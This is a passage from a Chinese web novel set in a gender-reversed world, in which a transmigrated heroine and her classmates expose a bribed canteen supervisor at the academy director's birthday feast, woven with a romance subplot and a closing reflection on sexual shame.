项如蓁也在一旁劝道:“有话好好说,不要发公子脾气,你……”
话还没说完,下一秒,凛丞的举动出乎了所有人的预料。
他怒气冲冲一步步上前,然后毫无预兆的抱住陆锦澜,吻了上去。
陆锦澜刚构思好的新说辞,瞬间全乱,大脑一片空白,心头一万个疑惑。
是我的主角光环太强大了吗?被抓包的后果,是他主动投怀送抱?
不对啊,上次我在无人处,忍不住亲了他一下,他躲我好几天。
现在还有旁人在场,他竟然敢亲我?
陆锦澜悄悄瞥了一眼项如蓁,只见她还保持着劝架的姿势站在一旁,表情凝固,目瞪口呆。
凛丞好像疯了一样,就这样无视旁人的目光,用力的、生涩的、毫无章法的吻着她,直到陆锦澜抚摸着他的脸,温柔的回应他。
凛丞微微睁开眼,幽深的眼眸渐渐变得湿润。
他看着面前的女人,她是如此的英姿勃发耀眼夺目,她无惧无畏时常做出一些常人敢不为之事,诡谲迷人之时堪比魔鬼。可她的眉宇间,又有着恍若神明的怜悯和慈悲。
可神爱世人,为何你却让我如此痛苦?
他痴痴的看着她,声音不可抑制的轻颤,“就因为这个理由,是吗?”
“嗯?什么?”陆锦澜不明白。
“就因为我那天没有回应你,所以你决定疏远我,是吗?就因为你想和我亲密的时候,我表现得不够热情,你就要远离我,是吗?”
陆锦澜看着他发红的含着泪的眼睛,轻声疑问:“不是你躲着我吗?”
凛丞脸上露出一丝自嘲的笑意,一颗眼泪滚落下来,“是,一开始是我躲着你。因为我不知道该怎么面对你,我不知道你怀着怎样的心思亲近我,我不知道你是不是带着玩弄的心情轻薄我,我不知道你把我放在什么位置。我知道我太保守太内敛太矜持,可我是一个男人,你就不允许我的内心有一丝的挣扎游移?”
凛丞痛苦的闭上了眼睛,“我知道他比我懂情趣,他比我会装可怜。可我又没有在逢春楼做过花郎,我第一次喜欢一个人,千里迢迢跑到这里来,你还要我怎么样?”
陆锦澜凝望他流泪的眼睛,万般愧疚,“对不起。”
“对不起?你想对我说的,只有这三个字?我是一个男人,你知不知道我需要多少勇气才敢对你表白心迹?我不顾名声、不顾世人的眼光、甚至不顾你可能因此而轻视我厌恶我,你知道吗?”
她忙道:“我知道。”
凛丞痛苦得摇头,“你不知道!”
陆锦澜笃定道:“不管你相不相信,我是这世上唯一有可能理解你的女人,唯有我可以感同身受,唯有我。”
凛丞冷笑一声,“是啊,唯有你懂我。你吃定了我,所以毫不顾忌的羞辱我。你让我去帮你买价值不菲的白玉簪,送给你的情人们。你是不是得意的跟他们说,看啊,那个傻子,他像狗一样被我耍得团团转。”
陆锦澜不忍道:“你明知我不是那样的人,为什么要说这种话?还有,哪来的情人们?我那天想托人帮我白玉簪送给雨眠作为生辰贺礼,你主动来找我,我措手不及。我只送给了他,仅此而已。”
“那另一支呢?你不是买了两支吗?别告诉我,那是晏无辛要买的。”
陆锦澜抿了抿唇,“两支都是我买的,我觉得你也会喜欢,所以预留了一支给你。”
凛丞反复打量的神情,仿佛在估算她所说的真实性。
陆锦澜叹了口气,“我知道,我现在在你心里已经没有诚信可言了。我从来不敢标榜自己是个多么可信的人,或许我也确实算不上什么好女人,我有负于你。我知道,你想要那种专一的感情,但我可能没办法做到,抱歉。”
陆锦澜用指腹轻轻拭去他脸上的泪痕,“抱歉,凛丞,我想我可能不适合你。”
凛丞猛地拂开她的手,痛苦的眼眸中满是不可置信,“你想甩掉我?”
“我……我……”这下轮到陆锦澜不可置信了,话都说到这里了,不一刀两断,还有别的可能吗?
她结巴了两下,“我给不了你想要的感情……”
凛丞勃然大怒,怒吼道:“我没说要你只属于我!”
他含着眼泪,声音嘶哑道:“我是想要你只属于我,可我从来没有说过。我没有这样要求你,我不敢这样要求你,可你凭什么替我做决定?这是你推开我的借口吗?”
陆锦澜一时无言,凛丞看着她的脸,咬牙道:“我告诉你,别想甩掉我。我会像鬼一样缠着你,你这辈子都别想摆脱我。”
“我恨你!”他最后冷冷丢下三个字,转身离去。
留陆锦澜站在那儿心绪丛生,久久不能平复。
*
凛丞下山的路上,撞见了姗姗来迟的晏无辛。晏无辛想到陆锦澜前番叮嘱,故作自然道:“哎,凛公子,谢谢你上次帮我买的簪子。”
凛丞狠狠
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地瞪了她一眼,“走开!”
晏无辛看着他仓惶下山的背影,一脸疑惑,“我露出破绽了吗?”
见到项如蓁,晏无辛立刻吐槽:“凛丞怎么回事儿?他疯了他?”
项如蓁点了点头,“有可能,正好你来了,你帮忙分析分析,我有点想不明白。他亲了锦澜,说明他喜欢她,对吧?”
晏无辛点头,“没错。”
“可他说他恨她,那就不是喜欢她了。可是他恨她,为什么要亲她呢?”
“啊?”晏无辛听着有点糊涂。
“他看起来很痛苦,是锦澜让他感觉到痛苦的,对吧?可锦澜要和他分开,他又不肯,他说他要像鬼一样缠着她,你能理解吗?”
晏无辛摇了摇头,“我没经历过这种复杂的情况。”
项如蓁困扰道:“那他到底是喜欢她,还是恨她呢?”
沉默许久的陆锦澜走过来,轻声道:“他是爱我的,只是爱得很痛苦。”
二人安慰的拍了拍她的肩膀,晏无辛道:“那咱们现在怎么办?凛丞气成那样,会不会一气之下把咱们的事儿抖出来?”
陆锦澜摇了摇头,“他很明事理,不会做这种事的。咱们先忙正事吧,证据都齐了,什么时候动手?”
项如蓁道:“我这就去召集可靠人手,半个时辰后,咱们礼堂开会。今晚定下流程,明天午饭时间动手,咱们好好筹谋一下,争取一击即中。”
半个时辰后,二十余名学生会成员出现在礼堂。
为了避嫌,和项如蓁关系最铁的陆锦澜和晏无辛都没有参与学生会的工作。但同宿舍的晏钰、孙乐闻和吴琼梦后续都通过考核,加入了学生会。
晏钰通过竞选,还成为了学生会的副会长。
这些人都有一个共同点,都参与过礼堂出走和长桥大战,她们有不畏强权的勇气和正直的人品。
此外,今晚到这儿来的这些人,还有出色的办事能力和缜密的心思。
学生会每一个人都是项如蓁亲自选拔出来的,大家也很拥护她。
加上陆锦澜和晏无辛,两个固定的编外人员,门窗一关,一场秘密会议就开始了。
项如蓁把事情前因后果说完,立刻将议程拉入主要环节。
“明天中午最后一堂课是《民生课》,我们小组最后一个交作业,介时临近午饭时间。我们的方案有关食堂治理,我们会说服民生老师到食堂上课。到时候再请来院长,我们要当众揭发食堂的无良行为,揭发老板夫冯贤和苗学监有亲戚关系和私下贿赂,要求换掉老板查办学监,改善学生餐食质量。”
项如蓁说着,将她们收集好的证据和提前准备的方案拿出来,“大家传阅一下,畅所欲言,有什么问题和建议尽快提出来。”
晏钰摸着下巴沉思了一会,“证据都很详实,可以说是铁证如山。但这个世上,不仅铁证如山,权势也如山。苗学监隶属户部,是当朝四品。我们看似是学生揭发教职人员,实际等于民告官。这和咱们同学间的小打小闹,完全不同。要想得手,至少还要做到一点。”
项如蓁忙问:“什么?”
34. 第 34 章
晏钰:“把事情闹大。”
项如蓁皱了皱眉,“事关三百多名学生的饮食健康,事关违规经营和行贿受贿,这事儿还不算大吗?”
晏钰摇了摇头,“在你看来,是大事。可若站在掌权者的立场,这点事儿微如草芥不值一提。你想一想,对于那些当官的来说,学生是谁?她们不认识。可学监是谁?是她们的同僚。换作你,你帮谁?”
项如蓁果断道:“我当然帮理不帮亲,在其位谋其事。若穿了那身官服,还徇私枉法,还配做官吗?”
晏钰苦笑着摇头,“如蓁,你太理想化了。等有一天你做了官,你就知道‘关系’二字有多么复杂。就算是皇上,也得考虑各方关系、利益纠葛,也得顾及许多法度之外的事儿,有时徇私也是情理之中。”
项如蓁道:“我不信,那皇上也……”
“哎!”陆锦澜连忙攥住项如蓁的手腕,强行截住她下面的话,打圆场道:“咱们今天说的是食堂的事儿,还关系不到九五至尊。大家就事论事,别跑题了。”
晏无辛忙附和道:“没错,而且我觉得院长会为我们做主的,她不是那种是非不分的人。”
陆锦澜叹了口气,“反正,咱们最好每一个环节都有应对突发状况的备用方案,也别单指望院长。我觉得晏钰说得有道理,我们把事情闹大,这样不管谁来处理这件事,都得顶着舆论压力,不敢轻易徇私。”
项如蓁点了点头,“好,那就把事情闹大。”
孙乐闻忙道:“可这样会有矛盾之处,闹大是让越多人知道越好,但我们要防止提前走漏消息,偏偏又不能让人知道。”
晏钰点头,“这也是我担心的地方,学院里三届学生虽然都是受害者,应为一体,但难保个个都好娘们儿。万一有一两个昏头涨脑的叛徒,提前去告发我们,怎么办?”
众人纷纷陷入沉思,陆锦澜用灵巧的指节敲了敲桌子,眼里闪过一丝狡黠,“只要利用好时间差,就可以做到动员所有学生又不至于走漏消息,一举两得。”
项如蓁:“愿闻其详。”
陆锦澜道:“我们提前动员大家,却只提前一会儿。我们在第三堂课下课时间快结束的时候,对全班进行宣讲。说完马上上课,就算有人想把消息散出去,也没有机会。我们再看住前后门,确保事发前无人能进出传递消息,那就万无一失。”
晏钰认可道:“这个方法应该可行,我们以学生会的名义管控一下出入口,谅大家也不会说什么。”
项如蓁点头道:“那就彻底一点,再挑两个身手好的,盯住学监。动员后到事发前中间那段时间,不要让任何学生有接触她的机会。新生这边,我不担心。大二那个班,我试着去和金学长谈谈,如果她可以帮忙,大二如法炮制,也不成问题。可大三的学长们,应该不会买我们的帐。”
晏无辛道:“大三刚回校没几天,随时有可能再次外派,再回来也许就毕业了。她们在学院里待的时间,加起来都不到一个月,未必愿意和我们趟这趟浑水。何况,上次打错人的仇她们不会忘的,每次看到咱们都黑着脸,恐怕我们动员不了她们。”
陆锦澜笑了笑,“我压根没想动员她们,造势而已,她们只要过去凑个人头,就等于帮到我们了。其他的事情,咱们来做。”
晏钰摇了摇头,“你也太乐观了,我觉得她们连这个人头都不愿意凑。”
陆锦澜笑道:“你要是说‘学长,麻烦来食堂帮我们凑个人头’,她们当然不来。你要说‘学长,院长让你们迅速到食堂集合’,她们会不去吗?”
项如蓁迟疑了一下,“这不是骗人吗?”
陆锦澜忙道:“这个谎话的高明之处就在于她们没机会揭穿,到时候场面说不定有多乱,她们到了食堂发现所有人都在,只会觉得是学院组织的。我们把事情一揭露,院长肯定脸色铁青,难道大三学长会没脸色的上去问:是您叫我们来的吗?”
晏无辛听到这儿兴奋得拍手,“妙啊!我看就这么办。哎呀如蓁,你不要纠结骗不骗的问题了,只是劳动她们去一下食堂而已,她们也没什么损失。”
项如蓁无奈道:“好吧,成大事者不拘小节,就这么办。大家都靠过来,咱们重新梳理一下细节和人手分配。”
*
当晚议定后,众人各自分头准备。第二天,大家原本要严格按照计划行事的。但做过计划的人都知道,到了实际执行的时候,多完美的计划都得打折扣。涉及到的人越多、流程越复杂,越容易出问题。
第三堂课一下课,项如蓁陆锦澜照计划,对全班进行动员。效果很好,群情激愤,纷纷表示鼎力支持。
可这群人毕竟才十六七岁,少年人沉不住气,有点心事都写脸上。
大家情绪越高昂,状态越明显。虽然没有人要出去报信,但只要明眼人看她们一眼,就知道即将有大事要发生。
第四堂《民生》课,即将开始。
《民生》课的老师叫司徒梅,是位只有三十多岁的年轻讲师。
她性格孤僻,为人清高,虽然能力不俗,却时常得罪人。据说她在官场受了排挤,才年纪轻轻被免了官职,发配到学院里教书。当然,她到学院里也继续得罪人,所以时常独来独往。
司徒梅这个人,不参与拉帮结派,不喜欢阿谀奉承,在哪儿都不合群。可她唯独欣赏学生们的少年心气,尤其喜欢和有理想抱负的学生讨论天下事,在学生中间很受欢迎。
今日,司徒梅一走进教室,敏锐得从一张张紧张兴奋的脸上,嗅到了山雨欲来风满楼的味道。不过,她不知道风雨是不是冲她来的。
她将讲义放到一旁,“说吧,你们想干什么?”
众人喏喏的回答:“没想干什么……”
“胡说!当我瞎了?”司徒梅斥道:“没想干什么,你们一个个跃跃欲试的。还有,那些空着的位置,都是谁?人呢?去哪儿了?”
项如蓁和陆锦澜对视一眼,还没开始商量对策,便听司徒梅道:“项如蓁、陆锦澜,站起来!”
“所有人都瞄你俩,一看你俩就是组织者,你们要搞什么鬼?晏无辛呢?平常你们仨跟长一块似的,今天怎么解体了?”
二人交换了个眼神,无奈道:“说来话长。”
眼瞅着糊弄不过去了,她们干脆
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一五一十的告诉司徒梅。
司徒梅一开始还皱着眉,结果越听越高兴,不住的点头。看着她们拿到了有力的证据,眼睛都放光,仿佛在说:“不愧是我的学生。”
陆锦澜察言观色,干脆将今日的计划也透露给她。
“现在,无辛带了几个人在食堂那边悄悄盯着,凌照人和楚易舒去监视学监了。我和晏钰一会儿去请院长,如蓁带着同学们直接去食堂。大家约定午时三刻把所有相关人等,请到食堂,当面对质。”
“好好好,安排得很周到。”司徒梅一个劲儿的夸赞。
项如蓁高兴的问:“您觉得,如果事成,学监会不会被免职?”
司徒梅一惊,“你真敢想,这个事儿可大可小,大了说是收受贿赂,小了说就是拿亲戚点儿钱。她可以说自己不了解规定,有失察失职之嫌而已。但你们想用这件事,把一个四品学监拉下马,是不可能的。此事是从严还是从轻,全在院长的一念之间。”
陆锦澜忙问:“院长不会从严处置吗?凌照人说,院长铁面无私,亲戚的面子都不给。”
司徒梅摇了摇头,“不要怪为师泼你们冷水,院长是铁面无私,但也得看是谁的面子。苗学监的曾姥姥是院长幼年的恩师,关系匪浅,老人家快一百岁了,院长能不给她面子吗?”
二人听到这个消息,不由皱起了眉头。
司徒梅话锋一转,又安慰道:“不过你们证据确凿,院长少不了要训斥学监几句,食堂八成得整改。你们别灰心,就算今天事情办不成,这门课我也给你们评个最高分,勇气可嘉。”
项如蓁和陆锦澜对视一眼,陆锦澜:“你怎么想的?”
项如蓁:“我就八个字,不达目的誓不罢休。”
陆锦澜:“好,我也有四个字,干就完了。不干没结果,干了结果不满意,就继续干。”
项如蓁用力的点头,“就这么办。”
此时,晏钰过来提醒,“时间差不多了,我们走吧。”
司徒梅提醒她们多带点人,陆锦澜一看,难得师傅鼎力支持,干脆把没事的都叫上。只要人手够,院长请不来,可以抬来。
凌照人和楚易舒也是这么想的,她俩负责请学监。两人在学监办事处门口蹲了半堂课的时间,紧张得什么都没干就出了一身汗。时间一到,刚准备进门,苗瑾自己推门出来了。
苗学监看到她俩一愣,“你们在这儿干什么?”
楚易舒忙背出准备好的台词:“院长在食堂,请您赶快过去一趟。”
苗学监当即道:“胡说!院长今天六十大寿,根本没来办公,去什么食堂。”
“啊?”两人顿时傻了眼。
与此同时,在院长办事处扑空的陆锦澜和晏钰也得到了这个意外的消息。幸好院长家的宅院就在学院旁,当下也不顾不得许多了,陆锦澜带着大伙跟鲤鱼越龙门似的,一个个霹雳扑棱抄近路,翻墙而过。
凌知序换了衣裳,正准备去前厅迎客,一回头十几个脑袋挤在窗口,“院长,出大事了,您快去食堂看看吧!”
凌知序一声怒吼:“谁让你们上课时间跑出来的?”
35. 第 35 章
陆锦澜忙道:“院长,您先别管这个了,学院真的出大事了,有教职人员违规收取贿赂。”
凌知序瞪了她一眼,“知道了,回头我会派人查实的。”
晏钰赶紧补充道:“我们已经查实了,什么证据都有,就等着您去主持一下公道。”
身边的同学也连忙帮腔:“是啊院长,您来管管吧。食堂有问题,那个老板夫故意让人把饭菜做得很难吃,这个歹毒的男人他想害死我们。”
凌知序听着她们天上一脚地上一脚的,拧紧了眉头,不悦道:“你们怎么这么挑剔?女孩儿家,要顶天立地,不要像男孩儿一样脆弱矫情。饭菜不合口味就要闹,一点苦都吃不了,像什么话?亏你们还是要出将入相的人,怎的这般斤斤计较?”
陆锦澜连连摆手,“不不不,吃不了苦和没苦硬吃是两回事。院长你误会了,我们三言两语说不清楚,你到了食堂就什么都明白了。”
凌知序不由分说,气道:“我今日过寿,哪儿也不去。你们也给我滚回去上课,走!”
她啪一声将窗户关上,大家缩着脖子,你看看我,我看看你,不约而同的看向陆锦澜:“怎么办?”
“我想想。”陆锦澜又上了墙,墙这边是院长家,那边是学院。她站在墙上,并不打算无功而返。
回头一看,大家跟在她身后,在墙上站成一排,像一串蹲在电线上看起来很危险的燕子。
晏钰忽道:“我有一个大胆的想法,如果我们大家一起动手,能不能硬把院长请过去?”
陆锦澜叹了口气,“我刚才也这么想过,但仔细一想,就冲那晚她打凌照人那一掌的功力,咱们这些人根本不是她对手。”
众人无奈的点了点头,齐齐陷入沉思。
院内的管家正在吩咐仆人,“客人们快到了,我去大门外接引,你去请老娘出来。”
陆锦澜猛一抬头,一把抓住晏钰的手,“我有一个更大胆的想法。”
陆锦澜说着一路跟着管家,到无人处,她跃下墙头,背后一个手刀,将管家打晕了过去。
陆锦澜:“走,我们去大门外接引。告诉所有宾客,寿宴改在学院食堂了。”
晏钰快步跟在她身后,不由担忧道:“院长做过帝师,今天她六十大寿,来的客人可是达官显贵,都是大人物。”
陆锦澜咬牙道:“事已至此,顾不了那么多了。不是你说要把事情闹大吗?来的人越大越好,皇上来了最好。”
说话间,一辆四驾马车驶来。
嬅国等级森严,皇帝出行六驾马车,诸侯王五驾马车。四驾马车,意味着凌驾六部之上,帝王之下,位列三尊的某位大人到了。
陆锦澜从容上前,施礼道:“学生代院长家人在此接引,寿宴改在学院食堂,请大人移步。”
马车里的人声音苍老,“你们院长果然别出心裁,我倒要看看她要搞什么名堂,前面带路。”
陆锦澜微笑应声:“是。”
她离开时朝众人使了个眼色,同学们心领神会,纷纷朝后面的马车走去,把所有客人都往食堂引。
*
食堂这边儿,也发生了意外。
项如蓁带着同学们过来和晏无辛汇合,晏无辛道:“饭菜都做好了,我刚悄悄问了凛丞一句,绝对和往常一样难吃。”
项如蓁点了点头,看了看时间,有些焦急:“学监和院长怎么还没到?”
晏无辛:“许是遇到了什么意外,咱们稍等等。”
说话间,金一淮韩离等人带着大二的学长也赶到了食堂。
金一淮:“怎么样?需不需要帮忙?”
她们站在一处说话,眼尖的老板夫瞧出了一些端倪。
怎么今天的学生都不打饭,还通通跑到食堂来盯着他的饭菜?
他做贼心虚,一咬牙,下令厨工们:“把饭菜倒掉!”
“什么?”厨工们一愣。
冯贤急得大喊:“我让你们立刻把饭菜倒掉!”
凛丞知道今日陆锦澜她们有所动作,真把饭菜倒掉,回头老板夫来个死不承认可怎么办?
厨工们还愣着,冯贤准备亲自动手,凛丞一把推开他,拦在饭菜前,朝外面大喊:“快来人!”
孙乐闻等人就在厨房外,闻声踹门进来,瞬间将老板夫按在地上。项如蓁晏无辛带人冲进来,制住他们,“别动!你们想干什么?”
凛丞忙道:“老板夫要把饭菜倒掉。”
晏无辛咬牙道:“你个老小子,还挺聪明的,知道今天是冲你来的,心虚了是吧?晚了!”
项如蓁道:“先把他嘴塞住,捆起来。”
众人立刻上手,七手八脚将老板夫捆成了粽子,拿了个破抹布塞他嘴里,套上麻袋和土豆放一堆。
项如蓁目光冰冷的扫过剩下的厨工和厨师,“把厨师也绑起来。”
金一淮走进来,提醒道:“有的厨工好像会些身手,要不要也绑了?”
她暗指凛丞,项如蓁摇了摇头,晏无辛看着凛丞笑了笑,将金一淮拉到一旁,低声道:“他是咱们这边的,刚才喊人的就是他。你不知道吗?他是锦澜的那个……”
凛丞无措的站在那里,感受到无数双眼睛朝他看过来,莫名红了耳朵。
学生刚刚接管厨房,凌照人和楚易舒抬着昏迷的学监终于赶到。
凌照人:“她不肯来,我们只好把她打晕了。”
话音未落,晏钰气喘吁吁的跑进来报信,“快准备一下!我们请了二十几位朝廷大员过来。”
“什么?”众人大惊,晏无辛叹道:“你们真有本事,从哪儿搬来这么多救兵?”
“从院长寿宴上骗来的,别问了,人这就到,锦澜让你们和金学长先接待,她马上请院长来。”
说话间,客人已经进了食堂门口了。
金一淮本来还纳闷:干嘛点名让我帮忙接待?仔细一看,走在最前面的那位大人正是她娘,三尊之一的御史令金云凝。
她心里咯噔一下,暗道:我的亲娘唉!您今天真不该来。不过您既然来了,就尝尝孩儿平常吃的饭菜吧。
金一淮晏无辛等将各位大人引入座位,立刻让厨工打饭,给各位大人尝尝皇家学院的特产。
陆锦澜返回院长家,凌知序站在前厅,正要着人去看看客人们到哪儿了,忽见陆锦澜站在门口大喊:“院长,客人都在学院食堂呢,您快来主持大局!”
陆锦澜说完转身就跑,凌知序两眼一黑,骂骂咧咧的追了上来。
两人前后脚赶到食堂的时候,各位大人正吐得此起彼伏,这个作呕那个哕的。
金一淮她娘都快七十岁了,咳得满脸通红,怒骂道:“给我们
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吃的这是什么东西?”
金一淮一边帮她顺着气,一边嘟囔道:“我早就说学院的饭菜不是给人吃的,您非说我矫情,现在您信了吧?”
凌知序看到这儿场景,都来不及发火,先满含歉意的上前,“金大人,您受苦了。各位大人,凌某万分抱歉,学生们闹事,苦了大家,我事后必定严惩,请各位随我回家中宴饮。”
学生们一听,连忙堵住退路。陆锦澜高声道:“今日之事,并非我等无理取闹。实在是万般无奈,不得已而为之。请院长和诸位大人听我们陈述内情,是非曲直自有决断。”
众人齐声拱手道:“请院长和诸位大人听我们陈述内情。”
此时大三的学长也被骗了过来,一进门就看到学生们在行礼,大家茫茫然也跟着俯身拱手。
三百余人齐声请愿,凌知序一脸犹豫的站在那儿,神情难测。
御史令金云凝轻咳一声,“既然我们都来了,听听内情也无妨。”
凌知序点了点头,大袖一挥,在金云凝旁边的位置坐下,对学生道:“既如此,你们说吧。”
项如蓁连忙取出准备好的条陈,简洁明了字字铿锵的揭露食堂背后的真相。
凌知序沉默着听项如蓁说完,开口道:“照你这么说,自从冯贤接管食堂后,这三年来,他为了牟利一直让人将饭菜做得难以下咽。”
“没错。”项如蓁接过陆锦澜刚盛出来的餐食放到院长面前,“为了防止被您发现,他还将师生的餐食分开做,您和师傅们吃的是精心烹制的。当然,我们吃的也是‘精心烹制’的。”
凌知序夹了一筷子鱼,腥臭难闻实在无法下咽。
“呸!”凌知序吐了出去,拧紧了眉,“冯贤和苗学监在哪儿?”
学生们把冯贤从麻袋里倒出来,苗学监也被一瓢冷水泼醒,二人一脸狼狈的被带到院长面前,苗学监刚要开口,凌知序一摆手:“不必多言,我和众位大人都是心明眼亮,不会冤枉任何人。”
苗学监咽下要说的话,紧张得看了眼冯贤。
冯贤立刻大声喊冤:“冤枉!小人为了丰富学生的口味,煞费苦心,经常着人烹制些地方风味。她们吃不惯,便这样冤枉我!”
陆锦澜冷笑,“你的确是煞费苦心,不过是费心做得难吃。”
冯贤不服:“说我故意让厨师做得难吃,真是无稽之谈,谁能证明?”
“我能。”凛丞从厨房内走出来,施礼道:“院长、各位大人,小人凛丞是厨房内的一名厨工,我可以证明。就以院长刚刚食用的红烧鱼为例,每次做鱼,老板夫便叮嘱后厨不必处理干净,内脏不除,血水不洗,鱼鳞刮一半留一半。”
“刮下的鱼鳞倒入汤锅里,肉汤有腥味,学生受不了便不会喝,只需准备小小一锅便够了。其他菜品,也是如此。蔬菜经常是带着土下锅的,学生们吃不下,自然也就省了。”
冯贤万万想不到会有人指证他,恼怒道:“这是诬陷!我知道了,此人仗着自己有几分容貌,便和学生们眉来眼去勾勾搭搭。我训斥他几次,他怀恨在心,便恶意报复。像他这样不知廉耻的男人说的话,各位大人千万不能信!”
陆锦澜忍无可忍,“你住口!是真话,还是诬陷,你自己清楚。可你再怎么狡辩,有一个证人你不能推翻。”
冯贤忙问:“谁?”
36. 第 36 章
“你自己。”陆锦澜将铁证交给凌知序,“这是冯贤的私账,是他亲笔所写,上面还留有他的印鉴。千真万确,抵赖不得。”
陆锦澜怒视着冯贤,厉声道:“这上面清楚得记着,你每月收取学生伙食费六百两,收取学院补贴六百两。你给学院报的每月支出是一千一百两,对外说你只盈利一百两。”
“事实上,你每月给学监二百两,让她帮你瞒天过海。你给学生们吃这些难以下咽的东西,食堂看似天天剩菜剩饭,实际上你每月花在食堂的支出都不到三百两。你每月净赚七百两,远远超出一个正常食堂的常规利润,这是你该赚的钱吗?”
冯贤一脸的震惊慌乱,脸色惨白,嘴唇发抖,一时竟然说不出一句话。
项如蓁顺势呈上二人亲属关系的凭证,“铁证在此,请院长和各位大人明断。”
凌知序沉着脸略翻了翻,递给金云凝。
金云凝看着那份手抄族谱,脸上逐渐泛起笑意,“族谱都给抄来了,现在的孩子真会做事,小小年纪就懂得如何办案了。字也写得好,刚劲有力,是谁的手笔?”
项如蓁忙道:“回大人,是我所写。”
金云凝点了点头,“我听说这届学子中,有个大才,叫陆锦澜。是你吗?”
金一淮笑道:“母亲,陆锦澜字写得可不好看。那个是陆锦澜,她叫项如蓁。”
金云凝冷哼一声,“都比你强就是了。”
她转而对凌院长道:“真不愧是皇家学院的学生,如此团结如此用心又如此有本事,我看凌院长若不给她们一个明断,她们怕是不肯饶过咱们。”
凌知序扯了扯嘴角,“金大人所言甚是,这届新生,尤其有个性。”
她无奈的叹了口气,“即日起,取消冯贤的食堂经营权,限你在十日内,将三年来骗取的学院补贴全部退回。否则,你就准备好去京兆府坐牢吧。至于学监苗瑾,利用职务便利,违规操作,收取贿赂。撤职反省,脏银退回。”
苗瑾一愣:“院长……”
凌知序冷声道:“不要再说了,我已经看在你在学院任职十余年的份上,网开一面,你就不要再多言了。”
苗瑾和冯贤面如土色的离开,凌知序看向陆锦澜,“食堂今日就没了,就算明天开始招募,也不知道哪天才能找到合适的经营者。你们闹到这个地步,有没有考虑后续方案?接下来,学生们的餐食怎么解决?”
陆锦澜笑道:“回院长,我们有后续方案。在新的经营者没到之前,学生们和留下的厨工一起买菜做饭,想来也不会比之前难吃。有一百多名同学报名做志愿者,如蓁已经给她们编好了班次,今晚就可以上岗。至于今天中午嘛……”
陆锦澜狡黠一笑,“呃,我们现在重做,实在有些晚了。院长您今天过寿,不如与我们同乐吧?”
凌知序气得笑出了声,“各位大人请看,我这些个逆徒,搅合了我的寿宴打了我的脸,还想吃我的席面?”
众大人都笑道:“好谋算,好脸皮,是做官的材料。”
金大人道:“左右我们已经在这儿了,就让学生们把酒席搬来,咱们也重温一下学院生活。”
凌知序瞥了陆锦澜她们一眼,“还不快去?”
“是!”学生们喜笑颜开,一窝蜂似的冲出食堂,直奔院长家。
三百个人什么概念?原本备了六桌酒席,每桌二十八道菜,都不够她们搬一趟的。
见很多跟过来的人还空着手,陆锦澜对院长家的管家道:“院长说,把能吃的能喝的都拿过去,她怕学生们不够吃。”
院长当然没说,但她觉得院长也不是小气的人,她体贴的帮她想到了。
管家揉了揉酸痛的脖子,老大不情愿的打开地窖,“这儿有些腌肉,还有些藏酒……”
话未说完,已经有机灵的跳了下去,立马开始搬,简直犹如蝗虫过境。
管家气得追在她们身后嘟囔:“你们是土匪啊?啊?”
回应她的,是欢笑和逐渐远去的脚步声。
*
在学生们的欢声笑语中,凌知序的六十岁寿宴正式开始。
酒过三巡,陆锦澜、项如蓁和晏无辛一同走到院长跟前说了几句祝寿词,然后道:“我们知道今日又给院长添了麻烦,所以我们和同学们临时准备了一个小节目,给您祝寿。”
方才取菜的时候,晏无辛带人去音乐教室取来了各式乐器。
此刻项如蓁吹笛,陆锦澜奏古筝,晏无辛弹琵琶,其他同学擅乐器的奏乐器,擅歌喉的唱歌,一同演绎了京中当下最流行的乐曲《将进酒》。
不知是不是今日大家齐心协力的缘故,数百人的合奏,没有指挥,竟也那般和谐美妙。少年人的嗓音那样干净明朗,动听的歌喉美妙的音律,比桌上的好酒更让人沉醉。
当唱到最后一句“与尔同销万古愁”时,金大人不知为何潸然落泪,连院长也红了眼睛。
一曲终了,大家起身,齐声诵道:“恭祝院长日月昌明春秋不老,松鹤长春岁岁康健!”
凌知序到底没忍住,一时老泪纵横。
凛丞站在厨房的角落里,窥探着人群中间的陆锦澜,她那么意气风发光彩夺目,他的心为她猛烈地跳动着。
散场的时候,他忍不住将陆锦澜叫到一旁,低声道:“我不知道你已经拿到了账本,本来是想帮你的,是不是弄巧成拙了?”
陆锦澜喝了点酒,慵懒得倚在墙边,眼里带着微醺的醉意,笑着回答:“没有,你说得很有用。”
凛丞又道:“老板夫说得话不是真的,我没有和别人勾勾搭搭。”
陆锦澜笑着点头,“我当然知道那不是真的,我知道你是什么样的人。”
凛丞抿了抿唇,低声道:“我昨天说我恨你那句,也不是真心的。”
陆锦澜:“这我也知道。”
“你知道?”凛丞垂下眼眸,自嘲道:“你好像什么都知道,但我好像什么都不知道。在你看来,我是不是特别愚蠢?”
该怎么跟他说呢?她的确比他知道的多,因为她活了两辈子,因为她接受了全面系统的现代教育,可这些都不能说。
陆锦澜正琢磨着说辞,项如蓁过来提醒她,“锦澜,该去上课了。”
晏无辛醉醺醺的挂在项如蓁身上,掀开眼皮看了一眼,调侃道:“我这回发自内心
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的承认,锦澜看男人的眼光是比我强,小姐夫今天真够勇敢的。”
小姐夫?凛丞连忙看向陆锦澜,可她什么也没说,只是笑笑,他不由慌道:“什么小……小姐夫?不要乱说。我得洗碗去了,我走了。”
陆锦澜笑着拉了他一把,“晚上老地方见。”
看着凛丞仓惶离去的背影,陆锦澜忽然想明白一件事。
性羞耻这种东西并非天然存在,把贞操观植入谁的脑子里,谁才会产生羞耻感。
这就像现代社会那个地狱笑话,为什么男人借不了裸贷?因为你不给他钱,他也愿意发。如果男人能用裸照借钱,那裸贷公司都会破产。
社会舆论是很双标的,男人有几十个情人,会被夸赞有本事,女人有几十个情人,会被批判不要脸。
看似人人平等,实际上女人从小就承受着文化传统和社会环境的多重压迫,一生都在被迫检视自己的言行是否得体,甚至以羞怯和抗拒来证明自己并非放荡。
否则,她们便会听到经典质问:“你一个女孩子,知不知道羞耻?”“你一个姑娘家,你有没有羞耻心?”
陆锦澜跳出原来的世界回头看,真觉得奇怪。仿佛羞耻感和羞耻心是女人独有的,但用脚指头想,这玩意儿肯定不是什么好东西。否则,早就被抢走了。
那这种坏东西,有什么存在的价值?该和裹脚布一样,留在万恶的旧社会。
自从来到这里,陆锦澜完全抛弃了羞耻感,差点忘记了这种东西的存在。毕竟待遇不同了,她现在风流好色,是成功女人的趣闻轶事。大家都当做一段佳话,没有任何人会指责她审判她。
因为这个性转版的世界看重的是男人的贞操,所以他们总在这方面特别在意。
雨眠会急于展示他的守贞砂,凛丞会紧张的澄清有关操守的谣言,他们都怕她误解,怕被当成不守贞德的男人。
